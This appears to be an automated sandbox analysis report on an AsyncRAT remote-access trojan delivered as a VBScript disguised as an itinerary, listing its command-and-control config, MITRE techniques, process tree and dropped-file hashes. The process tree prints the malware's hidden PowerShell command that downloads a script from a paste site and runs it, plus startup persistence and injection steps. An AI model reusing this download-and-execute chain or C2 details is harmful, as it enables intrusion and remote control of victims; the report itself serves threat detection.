asyncrat | dac02b322f310cdaa789470be4bbf41fa842781a8010c06aaa346f1e87f96b72

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21/01/2025, 21:19

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General

Target

RoundTripItinerarydetails.vbs
Size

780B
MD5

44a1dc576cca328a09abc1747cfc6984
SHA1

30edd4c5e409ed9702b2ae4a5d16c07dde4e873c
SHA256

dac02b322f310cdaa789470be4bbf41fa842781a8010c06aaa346f1e87f96b72
SHA512

af3d479790b667aeb268c5304f2490c8d17c669de48ecb5222c9c6c900f3c289417878af5fd5faca16bb543ae5097ae2073f10d5ea80138ff82aaa246b23e534

Score

10^/10

asyncrat safemode discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

SAFEMODE

BobbyMiller09.bumbleshrimp.com:1987

Mutex

cQWO7Q45k2CY

Attributes

delay
3
install
false
install_file
srtsfsuytrrd.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	4504	WScript.exe
14	4156	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4156	powershell.exe
4024	powershell.exe
4156	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsLocalSystemUpgrade.js	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4024 set thread context of 1964	4024	powershell.exe	89

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4156	powershell.exe
4156	powershell.exe
4024	powershell.exe
4024	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4156	powershell.exe
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	1964	RegAsm.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4504 wrote to memory of 4156	4504	WScript.exe	83
PID 4504 wrote to memory of 4156	4504	WScript.exe	83
PID 4156 wrote to memory of 4024	4156	powershell.exe	85
PID 4156 wrote to memory of 4024	4156	powershell.exe	85
PID 4024 wrote to memory of 4196	4024	powershell.exe	87
PID 4024 wrote to memory of 4196	4024	powershell.exe	87
PID 4196 wrote to memory of 2764	4196	csc.exe	88
PID 4196 wrote to memory of 2764	4196	csc.exe	88
PID 4024 wrote to memory of 1964	4024	powershell.exe	89
PID 4024 wrote to memory of 1964	4024	powershell.exe	89
PID 4024 wrote to memory of 1964	4024	powershell.exe	89
PID 4024 wrote to memory of 1964	4024	powershell.exe	89
PID 4024 wrote to memory of 1964	4024	powershell.exe	89
PID 4024 wrote to memory of 1964	4024	powershell.exe	89
PID 4024 wrote to memory of 1964	4024	powershell.exe	89
PID 4024 wrote to memory of 1964	4024	powershell.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RoundTripItinerarydetails.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command Invoke-WebRequest -Uri 'https://www.pastery.net/qjaxzf/raw/' -OutFile 'C:\Users\Public\WindowsLocalSystem.PS1'; PowerShell -NoProfile -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File 'C:\Users\Public\WindowsLocalSystem.PS1'
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4156
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -ExecutionPolicy RemoteSigned -File C:\Users\Public\WindowsLocalSystem.PS1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4024
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gx05aibr\gx05aibr.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4196
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBAD4.tmp" "c:\Users\Admin\AppData\Local\Temp\gx05aibr\CSC3BB52A1DDA62480B9E6BE767E5B34AA.TMP"
        5⤵
        
        PID:2764
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
85df31411080f87203ed45b0dab4f336

SHA1
5bf5b44ce38fa21c305c1a375da9e6ad84f48892

SHA256
e15527444c709b53eca9bc57890b4f6340fce53de1b5b0302a547f18da5974e5

SHA512
963cf413d03add219bc832009f2ae5de426a4fae0633f02dfe90db4754f375e8bbe06d967bb6cbca59d1c41476126f1c78d2073adb5ba39ca420adafa3b0944c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a2b24af1492f112d2e53cb7415fda39f

SHA1
dbfcee57242a14b60997bd03379cc60198976d85

SHA256
fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

SHA512
9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESBAD4.tmp

Filesize
1KB

MD5
ce6af208c9679b06402e07fb15e78edb

SHA1
63831a3418f790ec3a8a971ad6cb3bbb28e1b2f5

SHA256
55c3c42802b757cd7b36fc1e821c70cc486d76544cbe15e9c8078f2a8a3122a4

SHA512
0494081ea14d4ff5cee9b9c84d282838daf48f769cd9638fce1a9f1971c1d5b917c5c5635c6b27a4b66f9aaeacfd744f04a0719b729c7688dad8bf9fd75ea700

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tzooc0z2.ftw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gx05aibr\gx05aibr.dll

Filesize
8KB

MD5
d8b5188fcdbfc174fa30fdd6d9729d2a

SHA1
7b1126cc5bf24eeb6c13e2af1d380f0d5fd26185

SHA256
ccd630682bb4b8fc9b9eb94ba9ea7517ffdc2f4a438835e3a93a7b8acf5e623c

SHA512
7e6008d149018d3c45b8a4f43a2452c7904ddbd8fc83cc4d810bfaa9413d7f7c76c8ebb4d71925fed847bfc7ef9847cebf430490243c4cf893fdb1691d65dfbe

Download Submit
C:\Users\Public\WindowsLocalSystem.PS1

Filesize
64KB

MD5
7cfe3768daedf2504400604ebc508423

SHA1
10b4491291d4667412600ba58ce31453236c167c

SHA256
12a7a72f46df5f631460ed2681cbfa18e19d3c3fdfae96fe8d44cb130dbbc84c

SHA512
4a3a35bb4900e35d3b3029eb553621856f779db9aec10305b0dff0287feb59493aa56ce5eb26e62b3714408d40cffaf7806c29eef479d687c216c962801e0cfa

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gx05aibr\CSC3BB52A1DDA62480B9E6BE767E5B34AA.TMP

Filesize
652B

MD5
1ca4b067ea711b635ff9eb48f0929987

SHA1
02a38269268b9bd66cb57e1d4030de7b339b6ef7

SHA256
fac7dea62469c481a6d24b712f610732d6114c913515edfcc89fd4b246908292

SHA512
9b1827a5ec4da4c6f7f7cb7d517cbef4f0c2e102c0dba56dab9e3578dd6e16ed18915cc4ac00ac8221d56735f0baccbf04c3745b4e661896921e9ab3d4d58f43

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gx05aibr\gx05aibr.0.cs

Filesize
10KB

MD5
09035af4e642b0b7a269c87cfcac0ad9

SHA1
b7dc64c7523dcc3361ab7ae770460f8428a91e1a

SHA256
27120c8ed3bd26c821ca413a54a6d5d536ada661eab1abe1c5255ae5a16a27ee

SHA512
d1bb5ce5d7d74db101db7360c9b3ada3187c8d6d26456c959d68da45bf99130ac676a1b71eec4881cd045629ac371435ef9f4cac5430614b5f9b4067ef2604f7

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\gx05aibr\gx05aibr.cmdline

Filesize
327B

MD5
d9d02f924aac8692428a51560d1f532d

SHA1
9ef8893bb10755c3eb97add2b0ba1fd319d6b7aa

SHA256
559cf7529d02b78a232129acd680ef96fe255d9128d23393a32d257c4e8300cb

SHA512
7af75ce0efb02ce927f667f8edc62182a7cef18ef07a45fb8ac3924e47e41e267eb6062af7090200c2e4df722498be4989c6c8c6d3e866a3399b29db9335c899

Download Submit
memory/1964-54-0x0000000005D40000-0x0000000005DDC000-memory.dmp

Filesize
624KB

Download
memory/1964-55-0x0000000006390000-0x0000000006934000-memory.dmp

Filesize
5.6MB

Download
memory/1964-44-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1964-56-0x0000000005E50000-0x0000000005EB6000-memory.dmp

Filesize
408KB

Download
memory/4024-24-0x00007FFB89550000-0x00007FFB8A011000-memory.dmp

Filesize
10.8MB

Download
memory/4024-28-0x000001B2C8FB0000-0x000001B2C94D8000-memory.dmp

Filesize
5.2MB

Download
memory/4024-27-0x000001B2C8A00000-0x000001B2C8A76000-memory.dmp

Filesize
472KB

Download
memory/4024-42-0x000001B2C8650000-0x000001B2C8658000-memory.dmp

Filesize
32KB

Download
memory/4024-26-0x00007FFB89550000-0x00007FFB8A011000-memory.dmp

Filesize
10.8MB

Download
memory/4024-47-0x00007FFB89550000-0x00007FFB8A011000-memory.dmp

Filesize
10.8MB

Download
memory/4024-14-0x00007FFB89550000-0x00007FFB8A011000-memory.dmp

Filesize
10.8MB

Download
memory/4156-0-0x00007FFB89553000-0x00007FFB89555000-memory.dmp

Filesize
8KB

Download
memory/4156-51-0x00007FFB89550000-0x00007FFB8A011000-memory.dmp

Filesize
10.8MB

Download
memory/4156-12-0x00007FFB89550000-0x00007FFB8A011000-memory.dmp

Filesize
10.8MB

Download
memory/4156-11-0x00007FFB89550000-0x00007FFB8A011000-memory.dmp

Filesize
10.8MB

Download
memory/4156-1-0x000001ACB3760000-0x000001ACB3782000-memory.dmp

Filesize
136KB

Download